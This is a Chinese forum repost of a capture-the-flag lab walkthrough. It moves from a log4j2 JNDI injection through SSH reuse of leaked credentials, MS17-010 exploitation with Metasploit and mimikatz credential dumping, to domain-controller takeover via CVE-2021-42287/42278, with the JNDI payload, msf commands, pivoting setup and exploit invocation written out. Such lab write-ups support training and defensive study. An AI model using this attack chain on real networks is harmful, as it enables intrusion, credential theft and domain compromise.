安全矩阵

 找回密码
 立即注册
搜索
查看: 856|回复: 0

从log4j2到DC

[复制链接]

180

主题

231

帖子

1176

积分

金牌会员

Rank: 6Rank: 6

积分
1176
发表于 2022-10-3 11:39:14 | 显示全部楼层 |阅读模式


从log4j2到DC
前段时间发现了个靶场,感觉里面的漏洞还是比较新的,包含了log4j2、CVE-2021-42287、CVE-2021-42278。
靶场环境
本次靶场需获取3个flag即可通关,每台机器均有一个flag文件。该靶场拓扑图如下:



如果在搭建靶机中发现双网卡机器不出网的情况下,可以设置网卡优先级

    1. sudo ip route del default via 10.0.1.7 dev ens38
    2. sudo ip route add default via 10.0.1.7 dev ens38 metric 101
    复制代码


信息收集
实战时当我们拿到目标地址时,通常的做法就是扫描端口,以及相关地址的C段扫描。在条件允许时尽可能进行全端口扫描(因为靶场环境所以不涉及C段扫描)。
  1. nmap -sV -Pn -n -sT  --open -p- 172.16.111.54
复制代码






通过对目标地址全端口扫描,发现了22端口和38080端口开放,为此我们的思路大致为
1、爆破22ssh服务
2、访问38080端口
访问38080端口发现web服务,接下来就是找web相关站点漏洞,以及进行目录扫描。



对该web资产目录扫描发现了如上目录。发现Log4j2漏洞访问目录error和hello时,burp插件被动扫描出存在log4j漏洞。




可以看到该web站点Accept内存在漏洞点。然后可以利用该log4j2漏洞获得目标机权限。
本机开启JNDIExploit,运行命令如下

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 172.16.100.234利用TomcatEcho回显验证漏洞,发现未root权限

${jndi:ldap://172.16.111.212:1389/TomcatBypass/TomcatEcho}

当然也可以利用TomcatMemshell3直接注入内存马。
在request请求头加入查找flag命令获取第一关flag文件。

cmd:find / -name "*flag*"

执行cat命令即可获取flag内容

flag{redteam.lab-1}Congratulations, you got this: saul Saul123

该flag文件中还暴露出一个疑似账号密码的字符串saul Saul123,为此我们可以联想到该机器开放的22ssh服务,尝试密码碰撞。当然如果碰撞失败也可以在当前机器写入shell拿到服务器权限。
内网信息收集
测试发现使用账号saul密码Saul123可登录linux服务器,并且在该机器发现双网卡,上传fscan并搭建socks5代理。



发现该网段10.0.1.7服务器存在ms17010漏洞,并且也提示为双网卡机器获取域用户权限使用msf进行攻击获取该主机权限
  1. search ms17_010
  2. use windows/smb/ms17_010_eternalblue
  3. use windows/x64/meterpreter/bind_tcp
  4. set RHOST 0.0.0.0
  5. set payload windows/x64/meterpreter/bind_tcp
  6. use windows/smb/ms17_010_eternalblue
  7. set RHOSTS 10.0.1.7
  8. run
复制代码



拿到系统权限后,通过mimikatz查看账号密码

load mimikatzcreds_all

发现该服务存在域,并且mimikatz获取了域用户账号root Red12345
进入该服务器shell中,搜索获取flag文件

cmd /c dir /s/a-d/b C:\flag.txt成功获取到第二关flag{redteam.lab-2}



通过查询该服务器ipconfig发现存在10.0.0.7网段


利用CVE-2021-42287、CVE-2021-42278获取域控权限
通过定位时间服务器判断DC,发现10.0.0.12疑似为域控服务器



利用前段时间爆出的CVE-2021-42287、CVE-2021-42278拿来试一试
exp脚本

https://github.com/WazeHell/sam-the-admin该漏洞的前置条件:需要一个域用户
因域控在第三层网络并且不出网,所以需要利用2层代理网络进行攻击
利用MSF添加了一个Socks5


  1. use server/socks_proxy
  2. set SRVPORT 8889
  3. run
  4. jobs
  5. sessions 2
  6. run autoroute -s 10.0.0.7/24  #旧版
  7. run post/multi/manage/autoroute
复制代码

然后mac配置proxychains4运行该攻击脚本



mac上运行后发现找不到impacket目录文件,作者在说明里说只支持kali系统,测试发现旧版kali也没有smbexec可执行文件



查看源码发现脚本调用两个可执行文件
  1. fbinary = "/usr/bin/impacket-smbexec"
  2.     if options.dump:
  3.         fbinary = "/usr/bin/impacket-secretsdump"
  4.     getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'                                                                    "
  5.     os.system(getashell)
复制代码

查看mac安装的impacket路径,并修改代码将可执行文件改成py文件
  1. fbinary = "python3 /usr/local/bin/smbexec.py"
  2.     if options.dump:
  3.         fbinary = "python3 /usr/local/bin/secretsdump.py"
  4.     getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'                                                                    "
  5.     os.system(getashell)
复制代码

漏洞利用成功:
  1. proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
复制代码



接下来搜索该DC的flag文件
  1. cmd /c dir /s/a-d/b C:\flag.txt
复制代码



成功获取到了第三道flag{redteam.lab-3}
总结通过练习靶场可以很好的形成攻击思路,优化攻击手法以及检验工具环境的配备,以便在之后实战攻防演练中先拔头筹。原文链接https://mp.weixin.qq.com/s/zWyZlifnJdNCSfuYchXKlw
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 15:07 , Processed in 0.012610 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表